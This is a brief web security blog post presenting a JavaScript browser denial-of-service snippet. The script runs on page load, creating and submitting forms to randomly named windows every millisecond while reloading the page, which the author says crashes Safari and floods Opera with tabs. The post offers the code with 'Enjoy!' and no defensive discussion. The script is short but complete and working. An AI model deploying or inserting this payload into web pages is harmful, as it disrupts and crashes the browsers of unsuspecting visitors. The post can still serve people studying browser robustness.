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    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

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    Browser window spawning DOS

    By Gareth Heyes (@hackvertor)

    Published 18 years 6 months ago • Last updated March 22, 2025 • ⏱️ < 1 min read

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    This causes DOS in the latest Safari and maybe other browsers too. I tried it in Opera and it does create loads of tabs but seems stable enough to close it down. Enjoy! :)

    <pre lang="javascript"> &lt;script type=&quot;text/javascript&quot;&gt; window.onload = function() { setInterval('spawn()',1); } function spawn() { frm = document.createElement('form'); frm.target = 'x' + Math.round(Math.random() * 100000); frm.method = 'GET'; frm.action = '?'; document.body.appendChild(frm); frm.submit(); self.location.reload(); } &lt;/script&gt; </pre>

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